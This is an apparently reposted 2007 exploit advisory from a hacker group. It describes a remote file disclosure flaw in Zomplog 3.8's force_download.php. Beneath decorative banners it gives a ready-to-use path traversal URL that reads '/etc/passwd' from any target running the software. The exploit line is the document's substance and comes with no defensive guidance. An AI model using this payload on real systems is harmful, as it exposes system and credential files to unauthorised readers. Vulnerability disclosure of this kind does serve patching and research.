exploits , vulnerabilities , articles , Zomplog 3.8 (force_download.php file) Remote File Disclosure Vuln

Rated as : Moderate Risk

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+                                              Y! Underground Group       
                                        +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+          Portal......:  Zomplog v3.8                                    
                                        +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                       
                                        +
+          Type........:  Remote File Disclosure Vulnerability            
                                        +
+          Download....:  www.zomp.nl/zomplog                             
                                        +
+          Page........:  http://Dj7xpl.2600.ir                           
                                        +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+          Bug.........: 
http://[Target]/[Path]/upload/force_download.php?file=[Local Path]         
             +
+          E.g.........: 
http://[Target]/[Path]/upload/force_download.php?file=../../../etc/passwd  
             +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
securitydot.net - 2007-04-18